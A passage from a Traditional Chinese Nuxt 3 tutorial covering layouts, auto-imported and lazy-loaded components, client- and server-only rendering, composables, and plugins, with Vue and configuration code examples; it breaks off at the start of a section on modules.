\u0026lt;template\u0026gt; \u0026lt;NuxtLayout name=\u0026#34;custom\u0026#34;\u0026gt; \u0026lt;template #default\u0026gt; \u0026lt;div class=\u0026#34;mx-6 mb-4 bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-sky-400\u0026#34;\u0026gt;2022 iThome\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-9xl font-bold text-gray-600\u0026#34;\u0026gt;鐵人賽\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;template #footer\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-xl text-slate-600\u0026#34;\u0026gt;感謝您閱讀 Nuxe 3 學習筆記～\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;/NuxtLayout\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; definePageMeta({ layout: false }) \u0026lt;/script\u0026gt; 當你使用 definePageMeta 方法，禁止使用預設的布局模板後，你也能使用 setPageLayout 方法來動態改變布局。\n例如：\n1 2 3 4 5 \u0026lt;script setup\u0026gt; const = enableCustomLayout () =\u0026gt; { setPageLayout(\u0026#39;custom\u0026#39;) } \u0026lt;/script\u0026gt; 當你看過了這篇內容後，你會發現 Nuxt 3 所提供的布局模板非常的好用，布局模板規劃好後，爾後頁面所使用到的相同布局，只需要更改同一個布局模板，如果再結合元件化技巧，更是讓你的程式碼兼具重複使用性與維護性。\n元件 (Components) 在建立 Vue 的網站開發過程中，我們可能會自己封裝元件 (Component) 讓程式碼可以被重複使用，也方便開發者維護，這些一個個的元件，可以透過全域註冊 (Global Registration) 讓整個 Vue 應用程式中都可以使用這個元件，也可以透過區域註冊 (Local Registration) 於特定的元件再載入使用。接下來我們將介紹 Nuxt 3 使用元件時應該遵循的規範及特色。\n元件自動載入 在 Vue 中，雖然區域註冊使得元件間的依賴關係更加明確也對於 Tree shaking 更加友好，但我們在使用元件時，就得在需要的地方個別載入及註冊。而 Nuxt 3 提供在 components 目錄下專門放至這些元件，並具有自動載入及延遲載入等功能特色。\n建立與使用元件 新增 ./components/IronManWelcome.vue，內容如下：\ncomponents/IronManWelcome.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-sky-400\u0026#34;\u0026gt;2022 iThome\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-9xl font-bold text-gray-600\u0026#34;\u0026gt;鐵人賽\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 調整 ./app.vue，內容如下：\napp.vue 1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;IronManWelcome /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 當我們建立了 ./components/IronManWelcome.vue 檔案後，Nuxt 會自動載入 ./components 目錄中的任何元件，在使用時的元件名稱也對應著檔案名稱，所以我們只需直接添加 \u0026lt;IronManWelcome /\u0026gt; 就可以直些使用這個元件。\n元件名稱 Nuxt 所自動載入 ./components 目錄下的元件，在使用時的元件名稱也對應著檔案名稱，而當你在巢狀的目錄結構下的元件，元件的名稱將會基於目錄的路徑與檔案名稱，並刪除重複的字段。\n舉例來說，如果 ./components 目錄結構如下：\n1 2 3 4 components/ └── base/ └── apply/ └── Button.vue ./components/base/apply/Button.vue 元件的名稱就會是由目錄與檔案名稱組合出的 \u0026lt;BaseApplyButton\u0026gt;。\n為了開發上能更清楚辨別，建議將檔案名稱設置與使用元件時的名稱相同，所以我們重新命名 ./components/base/apply/ 下的 Button.vue 為 BaseApplyButton.vue。\n1 2 3 4 components/ └── base/ └── apply/ └── BaseApplyButton.vue 你也不用擔心元件名稱會不會變成 \u0026lt;BaseApplyBaseApplyButton\u0026gt; 看起來有點醜醜的，因為 Nuxt 會幫我們刪除重複的字段，所以在使用時元件名稱為 \u0026lt;BaseApplyButton\u0026gt;。\n元件名稱的命名規則 Vue 在註冊元件時，可以使用大駝峰式命名法 (Pascal Case) 或烤肉串命名法 (Kebab Case) 來為元件命名，並在 template 也可以自由使用兩種命名方式作為使用元件的標籤。\n例如，以 \u0026lt;base-apply-button\u0026gt; 來表示使用 ./components/base/apply/BaseApplyButton.vue 元件。\n抑或建立 ./components/base/apply/base-apply-button.vue 元件，使用時以 \u0026lt;BaseApplyButton\u0026gt; 表示。\n兩種方式 Nuxt 都支援，可以根據自己的習慣做選擇，而我個人是以大駝峰式命名法 (Pascal Case) 為主，以此區別為自己建立的元件。\n動態元件 (Dynamic Components) 如果想要使用像 Vue 中的 \u0026lt;component :is=\u0026quot;someComputedComponent\u0026quot;\u0026gt; 來動態的切換不同的元件，則需要使用 Vue 提供的 resolveComponentVue 方法來進行輔助。\n例如：\n1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;component :is=\u0026#34;show ? DynamicComponent : \u0026#39;div\u0026#39;\u0026#34; /\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const show = ref(false) const DynamicComponent = resolveComponent(\u0026#39;BaseApplyButton\u0026#39;) \u0026lt;/script\u0026gt; 建立動態元件 Step 1. 建立元件 新增 ./components/base/apply/BaseApplyButton.vue，內容如下：\ncomponents/base/apply/BaseApplyButton.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34; class=\u0026#34;mt-6 bg-blue-600 py-3 px-8 text-xl font-medium text-white hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2\u0026#34; \u0026gt; 立即報名 \u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; 新增 ./components/round/apply/RoundApplyButton.vue，內容如下：\ncomponents/round/apply/RoundApplyButton.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34; class=\u0026#34;mt-6 rounded-full bg-blue-600 py-3 px-8 text-xl font-medium text-white hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2\u0026#34; \u0026gt; 立即報名 \u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; Step 2. 使用 resolveComponent() 調整 ./app.vue，內容如下：\napp.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;mt-8 flex items-center\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;show-button\u0026#34; v-model=\u0026#34;useRound\u0026#34; name=\u0026#34;show-button\u0026#34; type=\u0026#34;checkbox\u0026#34; class=\u0026#34;h-5 w-5\u0026#34; /\u0026gt; \u0026lt;label for=\u0026#34;show-button\u0026#34; class=\u0026#34;ml-2 block text-base text-slate-800\u0026#34;\u0026gt;使用圓角按鈕\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;component :is=\u0026#34;useRound ? RoundButton : BaseButton\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const useRound = ref(false) const BaseButton = resolveComponent(\u0026#39;BaseApplyButton\u0026#39;) const RoundButton = resolveComponent(\u0026#39;RoundApplyButton\u0026#39;) \u0026lt;/script\u0026gt; 呈現效果：\n動態載入 (Dynamic Imports) 動態載入 (Dynamic Imports) 元件也稱之為延遲載入 (lazy-loading)，如果頁面中不需要立刻使用或顯示某個元件，透過動態載入的方式可以延遲元件載入的時間點，有助於優化 JavaScript 首次載入時的檔案大小。\n使用的方式也非常簡單，只需要在使用元件時，加上前綴 Lazy 就可以有延遲載入的效果。\n建立一個動態載入的按鈕 Step 1. 建立按鈕元件 新增 ./components/base/apply/BaseApplyButton.vue，內容如下：\ncomponents/base/apply/BaseApplyButton.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34; class=\u0026#34;mt-6 rounded-sm bg-blue-600 py-3 px-8 text-xl font-medium text-white hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2\u0026#34; \u0026gt; 立即報名 \u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; Step 2. 添加 Lazy 前綴 調整 ./app.vue，內容如下：\napp.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;mt-8 flex items-center\u0026#34;\u0026gt; \u0026lt;input id=\u0026#34;show-button\u0026#34; v-model=\u0026#34;show\u0026#34; name=\u0026#34;show-button\u0026#34; type=\u0026#34;checkbox\u0026#34; class=\u0026#34;h-5 w-5\u0026#34; /\u0026gt; \u0026lt;label for=\u0026#34;show-button\u0026#34; class=\u0026#34;ml-2 block text-base text-slate-800\u0026#34;\u0026gt;顯示報名按鈕\u0026lt;/label\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;LazyBaseApplyButton v-if=\u0026#34;show\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const show = ref(false) \u0026lt;/script\u0026gt; 看看延遲載入的效果：\n在頁面上有一個核取方塊，使用者勾選時才顯示按鈕，我們透過瀏覽器的開發者工具觀察網路 (Network) 的使用情況，可以發現只有首次勾選後才請求了 BaseApplyButton.vue 按鈕元件 JS。當這個按鈕元件被設置為 Lazy 動態載入時，頁面首次載入其實不會包含這個按鈕的程式碼，而是等待需要這個元件時才去請求下載，以此達到延遲載入的效果，同時也降低首次進入網頁時需要下載的 JavaScript 程式碼大小。\n控制伺服器端或客戶端渲染元件 \u0026lt;ClientOnly\u0026gt; 元件 Nuxt 3 提供了一個 \u0026lt;ClientOnly\u0026gt; 元件，可以控制被包裹的元件僅在客戶端進行渲染。\n例如，我們建立 ./components/IronManWelcome.vue 檔案，內容如下：\ncomponents/IronManWelcome.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-sky-400\u0026#34;\u0026gt;2022 iThome\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-9xl font-bold text-gray-600\u0026#34;\u0026gt;鐵人賽\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 使用 \u0026lt;ClientOnly\u0026gt; 元件包裹 \u0026lt;IronManWelcome\u0026gt;。\n調整 ./app.vue 中，內容如下：\napp.vue 1 2 3 4 5 6 7 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;ClientOnly\u0026gt; \u0026lt;IronManWelcome /\u0026gt; \u0026lt;/ClientOnly\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 這樣就可以將 \u0026lt;IronManWelcome\u0026gt; 元件設定為僅在客戶端進行渲染，首次請求頁面時將不會包含這個元件的 HTML。\n\u0026lt;ClientOnly\u0026gt; 元件中提供了一個名為 fallback 的插槽 (Slot)，可以用作於在伺服器渲染的預設內容，等到客戶端載入完成才接手渲染被包裹的 \u0026lt;IronManWelcome\u0026gt; 元件。\n調整 ./app.vue 中，內容如下：\napp.vue 1 2 3 4 5 6 7 8 9 10 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;ClientOnly\u0026gt; \u0026lt;IronManWelcome /\u0026gt; \u0026lt;template #fallback\u0026gt; \u0026lt;p class=\u0026#34;my-6 flex justify-center\u0026#34;\u0026gt;[IronManWelcome] 載入中...\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;/ClientOnly\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 當進入首次網頁，會先渲染 fallback 插槽內的元素，所以瀏覽器先顯示 [IronManWelcome] 載入中\u0026hellip; 文字，接著客戶端載入完 JS 後接手渲染 \u0026lt;IronManWelcome\u0026gt; 元件。\n你也可以透過瀏覽器頁面中點擊右鍵後展開選單的「檢視網頁原始碼」功能，所看到的網頁原始碼，發現伺服器端僅先回應了 \u0026lt;p class=\u0026quot;my-6 flex justify-center\u0026quot;\u0026gt;[IronManWelcome] 載入中...\u0026lt;/p\u0026gt;，表示這是由伺服器端渲染 \u0026lt;ClientOnly\u0026gt; 元件 fallback 插槽的內容。\n.client 與 .server Nuxt 3 的元件，也可以透過元件的檔案名稱來控制僅顯示在客戶端或伺服器端。\n如果元件僅在客戶端呈現，則可以將 .client 加入元件檔名的後綴中。\n建立一個 ./components/JustClient.client.vue 元件檔案，表示 \u0026lt;JustClient\u0026gt; 元件，僅會在客戶端進行渲染。\n而添加 .server 後綴的元件檔案，則會是這個元件在伺服器端渲染的內容。\n控制伺服器端或客戶端渲染元件範例 我們使用 \u0026lt;ClientOnly\u0026gt; 元件、.client 與 .server 做一個範例來看呈現的效果。\ncomponents/IronManWelcome.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-sky-400\u0026#34;\u0026gt;2022 iThome\u0026lt;/h1\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-9xl font-bold text-gray-600\u0026#34;\u0026gt;鐵人賽\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; components/JustClient.client.vue 1 2 3 4 5 6 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;mx-16 my-4 rounded-lg bg-green-100 p-4 text-sm text-green-700\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;font-semibold\u0026#34;\u0026gt;[JustClient]\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;ml-2\u0026#34;\u0026gt;這是只有在 \u0026lt;span class=\u0026#34;font-bold\u0026#34;\u0026gt;Client\u0026lt;/span\u0026gt; 才會渲染的元件\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; components/ClientAndServer.client.vue 1 2 3 4 5 6 7 8 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;mx-16 my-4 rounded-lg bg-sky-100 p-4 text-sm text-sky-700\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;font-semibold\u0026#34;\u0026gt;[ClientAndServer]\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;ml-2\u0026#34;\u0026gt; 這是從 \u0026lt;span class=\u0026#34;font-bold text-red-500\u0026#34;\u0026gt;Client\u0026lt;/span\u0026gt; 渲染出來的元件 \u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; components/ClientAndServer.server.vue 1 2 3 4 5 6 7 8 9 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;mx-16 my-4 rounded-lg bg-sky-100 p-4 text-sm text-sky-700\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;font-semibold\u0026#34;\u0026gt;[ClientAndServer]\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;ml-2\u0026#34;\u0026gt; 這是從 \u0026lt;span class=\u0026#34;font-bold text-red-500\u0026#34;\u0026gt;Server\u0026lt;/span\u0026gt; 渲染出來的元件，請等待 Client 接手渲染 \u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; app.vue 1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;ClientOnly\u0026gt; \u0026lt;IronManWelcome /\u0026gt; \u0026lt;template #fallback\u0026gt; \u0026lt;p class=\u0026#34;my-6 flex justify-center\u0026#34;\u0026gt;[IronManWelcome] 載入中...\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;/ClientOnly\u0026gt; \u0026lt;JustClient /\u0026gt; \u0026lt;ClientAndServer /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 我們重新瀏覽網頁，可以發現到由伺服器渲染的插槽元素 [IronManWelcome] 載入中\u0026hellip; 文字與 ClientAndServer.server.vue 元件，率先被顯示了出來。接著當 JS 載入完畢後，被 包裹的元件 \u0026lt;IronManWelcome\u0026gt; 也接手並覆蓋了「[IronManWelcome] 載入中\u0026hellip;」文字，ClientAndServer.client.vue 與 JustClient.client.vue 僅在客戶端渲染的元件，也分別的覆蓋與顯示出來。\n透過元件我們能更好的整理可重複使用的程式碼，也提升了可維護性，而 Nuxt 中的動態載入更是能將非必要使用的元件延遲載入，大大提升了首次進入網頁所需要下載的檔案大小，最後我們也介紹了如何控制伺服器端或客戶端渲染元件，熟悉了之後就能針對網站需求設定元件的載入及渲染方式囉！\n組合式函數 (Composables) 組合式函數 (Composables) 是一種利用 Vue 3 的 Composition API 來封裝和複用有狀態邏輯的函數，在 Nuxt 我們可以將一些通用的商業邏輯放置在 composables 來建立組合式函數，這樣一來就可以在各個頁面共用這個組合式函數。\nOptions API 與 Composition API 選項式 API (Options API)： 下列這段是 Vue 依據 Options API 撰寫出來的程式碼，也是 Vue 2 處理邏輯的寫法，所謂 Options (選項、可選的) 指的就是以程式碼的性質來分割程式碼，所有設定資料初始值的都會在 data 這邊處理，這個元件所需要的方法則會在 methods 這裡建立，data 及 methods 也就是使用者需要的選項。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026lt;script\u0026gt; export default { data() { return { count: 0, doubleCount: 0 } }, methods: { increment() { this.count += 1 }, incrementByTwo() { this.doubleCount += 2 } } } \u0026lt;/script\u0026gt; 組合式 API (Composition API)： 目前在 Vue 3 你仍可以繼續使用 Vue 2 的 Options API，但隨著程式碼邏輯的增加，看似有條理的分類，其實對於理解及維護上沒有想像中便利。\nVue 3 提出的組合式 API (Composition API) 則是以邏輯功能來進行分類，你可以將所有與某個功能的 data、computed、methods 與 watch \u0026hellip;等，寫在同一個段落行程一個區塊。\n詳細說明可閱讀先前撰寫的圖解 Option API vs Composition API文章。\nMixins 與 Composables 在 Options API 可以使用 mixin 來引入可以重複使用的程式碼，讓不同的元件可以共用函數方法，但隨著專案變大，同一個元件可能使用 mixin 同時來引用許多的共用函數，這將導致容易產生命名衝突、元件間的耦合與來源不夠清晰等問題（詳細原因請參考淺談為什麼 Vue 和 React 都選擇了 Hooks？）。\nVue 3 為我們帶來了組合式 API，實現了更乾淨的程式碼編排與高效的邏輯重用，**組合式函數 (Composables)**也基於組合式 API 來進行封裝這些可複用的邏輯，更解決了使用 mixin 實現共用函數的缺點。\n組合式函數 (Composables) 在 Nuxt 3 中要建立一個組合式函數 (Composables) 我們可以在 composables 目錄下編寫，這些常用的函數，將會被 Nuxt 3 自動載入做使用，實現在各個元件使用這些函數方法。\n建立組合式函數 首先，我們新增 ./composables/useCounter.js，內容如下：\ncomposables/useCounter.js 1 2 3 4 5 6 7 8 9 10 11 12 export default function () { const count = ref(0) const increment = () =\u0026gt; { count.value += 1 } return { count, increment } } Nuxt 自動導入的特性，現在我們就能在其他元件中使用 useCounter 組合式函數。\n新增 ./pages/count.vue，內容如下：\npages/count.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;mt-8 text-4xl text-gray-700\u0026#34;\u0026gt;{{ count }}\u0026lt;/span\u0026gt; \u0026lt;button class=\u0026#34;my-6 rounded-sm bg-sky-600 py-2 px-4 text-base font-medium text-white hover:bg-sky-700 focus:outline-none focus:ring-2 focus:ring-sky-500 focus:ring-offset-2\u0026#34; @click=\u0026#34;increment\u0026#34; \u0026gt; 增加 1 \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const { count, increment } = useCounter() \u0026lt;/script\u0026gt; Composables 組合式函數的名稱 前面範例使用的 useCounter() 是 Nuxt 3 從 ./composables/useCounter.js 自動載入的，而且 Nuxt 3 的組合式函數的名稱，有兩種方式會影響使用時的函數名稱，不過也建議在建立組合式函數可以使用 use 作為開頭來加以識別。\n1. 使用預設匯出 (Default export) 如果在檔案內使用的是預設匯出，那麼這個組合式函數在使用時，即對應檔案名稱，檔案名稱可以是小寫駝峰式 (Camel case) 或烤肉串 (Kebab case)，例如建立 ./composables/useCounter.js 或 ./composables/use-counter.js 檔案內容如下，使用時組合式函數為小寫駝峰式(Camel case) 名為 useCounter。\n1 2 3 4 5 6 7 8 9 10 11 12 export default function () { const count = ref(0) const increment = () =\u0026gt; { count.value += 1 } return { count, increment } } 2. 使用具名匯出 (Named export) 如果建立組合式函數時，使用的是有具名的匯出，那麼組合式函數對應的名稱，就不是檔案名稱，而是檔案內 export 出來的名稱。\n例如，建立 ./composables/count.js，檔案內容如下，組合式函數名稱就不會是檔案名稱 count，而是具名導出的名稱 useCounter。\n1 2 3 4 5 6 7 8 9 10 11 12 export const useCounter = () =\u0026gt; { const count = ref(0) const increment = () =\u0026gt; { count.value += 1 } return { count, increment } } Composables 自動載入的規則 composables 目錄下，Nuxt 3 會自動掃描 .js、.ts 與 .vue 副檔名的檔案，但只有最上層的檔案，才會自動的被載入為組合式函數，以下面這個目錄結構為例，只有 ./composables/useCounter.js 才會被正確的自動載入。\n1 2 3 4 composables/ ├── time/ │ └── useDateFormat.js └── useCounter.js 下列這種形式，./composables/time/index.js 也能正確的自動載入：\n1 2 3 4 composables/ ├── time/ │ └── index.js └── useCounter.js 如果你想讓巢狀的目錄結構下也能被 Nuxt 自動掃描載入，那麼你可以使用下面兩種方法：\n一、重新匯出 [推薦] 配置 ./composables/index.js 將目錄下的函數於這裡整理並匯出你需要的作為組合式函數。\n二、配置掃描巢狀目錄 修改 nuxt.config.ts 檔案，配置自動載入額外掃描 composables 下的巢狀目錄。\nnuxt.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 export default defineNuxtConfig({ imports: { dirs: [ // 掃描 composables 目錄頂層 \u0026#39;composables\u0026#39;, // 掃描深度一層的特定檔案 \u0026#39;composables/*/index.{ts,js,mjs,mts}\u0026#39;, // 掃描整個 composables 目錄下的檔案 \u0026#39;composables/**\u0026#39; ] } }) 不論在 Nuxt 3 或是 Vue 3，組合式函數 (Composables) 都是能幫助你在整個網站可以共用函數的方法，目前也有專案 VueUse 提供了常用與實用的組合式函數集合，能幫我們省去不少開發時間與提升重複使用性，VueUse的介紹請點我前往。\n插件 (Plugins) 在開發時，為了不重複造輪子，我們可能會在網路上找看看有沒有現成的套件可以做使用，如果這個套件在 Nuxt 3 沒有專用的模組或插件，那麼我們就只能依照套件的支援與安裝方式嘗試添加至 Nuxt 中使用。這邊將會介紹在 Nuxt 插件的規則與特性，如何建立自己的插件及安裝 Vue 的插件。\n說到插件 (Plugins)，Chrome 或 Firefox 等瀏覽器的使用者，一定都聽過也安裝過插件；如果瀏覽器中的功能不夠滿足你的需求，那麼你可以透過安裝插件來嘗試解決你的問題，而插件做的就是幫助你的瀏覽器或是網站，添加一些功能或是配置，做一個擴充的動作。在 Nuxt 3 指的插件，道理也是一樣的，我們可以透過插件來協助我們擴充功能。\nNuxt 3 插件目錄 Nuxt 將自動讀取 plugins 目錄中的檔案並自動載入它們，也因為目錄中的所有插件都是自動載入的，因此不必於 nuxt.config.ts 中再個別配置。\nNuxt 會自動掃描 plugins 目錄下的 .js、.ts 與 .vue 副檔名的檔案，但只有最上層的檔案或最上層目錄下的 index.js 檔案才會被自動載入。\n例如，只有 ./plugins/myPlugin.js 及 ./plugins/myPlugin/index.js 會自動的被 Nuxt 載入。\n1 2 3 4 plugins/ ├── myPlugin/ │ └── index.js └── myPlugin.js 如何建立插件 當您建立好插件的檔案後，只需要使用預設導出 Nuxt 3 中的 defineNuxtPlugin 方法，傳遞給插件的唯一參數是 nuxtApp，接著就可以在裡頭實作功能。\n1 2 3 export default defineNuxtPlugin(nuxtApp =\u0026gt; { // 可以使用 nuxtApp 來做一些事情 }) 初次建立插件時，可以嘗試印出 nuxtApp 參數看看，如下圖，nuxtApp 包含了各種的實例 (Instance)，例如我們要使用 Vue 的 app.use，就可以在 nuxtApp 找到 Vue 的實例 vueApp，並透過 nuxtApp.vueApp.use 來安裝 Vue 的插件。\n在插件中使用組合式函數 (Composables) 你也可以在自定義的插件中使用組合式函數，但在插件中存在著一些限制和差異。\n插件的載入順序 插件是依照順序來呼叫的，如果你使用的組合式函數，依賴著尚未載入的插件，它將無法正常的執行；除非你很確定插件的載入順序，不然儘量在插件內使用其他會依賴插件或由其他插件所提供的組合式函數。\n依賴 Vue 的生命週期 如果插件內所使用的組合式函數，依賴於 Vue 的生命週期，那麼也會無法正常的執行，因為插件只會綁定到 nuxtApp 的實例上，與 Vue 元件內使用組合式函數綁定的元件實例，有所不同。\nAutomatically Providing Helpers 如果想在 NuxtApp 的實例上提供 helper，我們可以在插件回傳的物件中添加 provide。\n例如，我們建立一個插件 ./plugins/myPlugin.js，內容如下：\nplugins/myPlugin.js 1 2 3 4 5 6 7 export default defineNuxtPlugin(() =\u0026gt; { return { provide: { hello: (msg) =\u0026gt; `Hello ${msg}!` } } }) 調整 ./app.vue 內容：\napp.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;my-2 text-6xl font-semibold text-sky-400\u0026#34;\u0026gt;{{ title }}\u0026lt;/h1\u0026gt; \u0026lt;h1 class=\u0026#34;my-2 text-6xl font-semibold text-emerald-400\u0026#34;\u0026gt;{{ $hello(\u0026#39;Jennifer\u0026#39;) }}\u0026lt;/h1\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const { $hello } = useNuxtApp() const title = $hello(\u0026#39;Ryan\u0026#39;) \u0026lt;/script\u0026gt; 我們就可以直接在 template 中使用 $hello，這個由插件提供的 Helper，注意這邊要加上錢字符號 $。也可以透過 useNuxtApp 方法取得 NuxtApp 的實例後再使用 $hello。\n僅限伺服器端或客戶端中使用 有些插件可能只能在瀏覽器中使用，原因可能是這個插件不需要或無法在伺服器端中執行。\n我們可以透過插件的檔案名稱來添加後綴 .client 或 .server，控制伺服器端或客戶端中使用。\nVue 插件與指令 這裡我們嘗試在 Nuxt 3 中使用 Vue 的 vue-gtag 插件，來添加 Google 分析標籤。\nNuxt 3 中使用 vue-gtag 插件 Step 1. 安裝套件 1 2 3 npm install -D vue-gtag-next # or # yarn add -D vue-gtag-next Step 2. 建立 Nuxt 插件 新增 vue-gtag.client.js 檔案，內容如下：\nplugins/vue-gtag.client.js 1 2 3 4 5 6 7 8 9 import VueGtag from \u0026#39;vue-gtag-next\u0026#39; export default defineNuxtPlugin((nuxtApp) =\u0026gt; { nuxtApp.vueApp.use(VueGtag, { property: { id: \u0026#39;GA_MEASUREMENT_ID\u0026#39; } }) }) 完成效果 可以看見瀏覽器就出現使用 vue-gtag 插件，幫我們自動插入與配置 script 的效果囉！\nNuxt 3 中建立 Vue 指令 在插件中可以取得 Vue 的實例，所以我們也能在插件註冊自定義的指令。\n例如，新增 ./plugins/directive.js 檔案，內容如下：\nplugins/directive.js 1 2 3 4 5 6 7 8 9 10 11 export default defineNuxtPlugin((nuxtApp) =\u0026gt; { nuxtApp.vueApp.directive(\u0026#39;focus\u0026#39;, { mounted(el) { el.focus() }, getSSRProps() { // you can provide SSR-specific props here return {} } }) }) 我們就可以直接使用 v-focus 這個指令來控制元素聚焦的效果。\nNuxt 讓我們可以很輕鬆的建立插件並選擇配置於伺服器端或客戶端，對於使用 UI 框架或元件，更能在插件中直接取得實例來安裝 Vue 的插件與指令，不過呢，目前也有個 RFC 正在徵求意見期待讓 Nuxt 使用 Vue 插件可以更方便容易。\n模組 (Modules) Nuxt 提供了一個模組系統來擴展自身框架的核心，也簡化了整合過程中需要的繁瑣配置。當你想擴展 Nuxt 或 Vue 的功能，雖然 Nuxt 可以通過安裝與配置插件進行功能擴展，但是在多個專案或使用上可能繁瑣耗時或重複性很高的，但如果套件已經有針對 Nuxt 模組做整合，我們就不必從頭開始開發或像安裝插件一樣需要建立與維護這些配置。\nNuxt 3 中插件與模組的差異 Nuxt 模組與 Nuxt 插件的差異在於，模組載入執行的時間點更早，意思是 Nuxt 在啟動伺服器後，首先會依序的載入模組並執行，接續建立 Nuxt 的環境 (Context) 與 Vue 的實例 (Instance)，最後才開始執行 Nuxt 的插件。\n因此，Nuxt 模組可以做更多的事情，包含在使用 nuxi dev、nuxi build 啟動或建構 Nuxt 時，可以透過模組來覆蓋模板、配置 webpack 及配置插件等許多任務。\nNuxt 3 安裝使用模組 Nuxt 模組是一個導出異步函數的 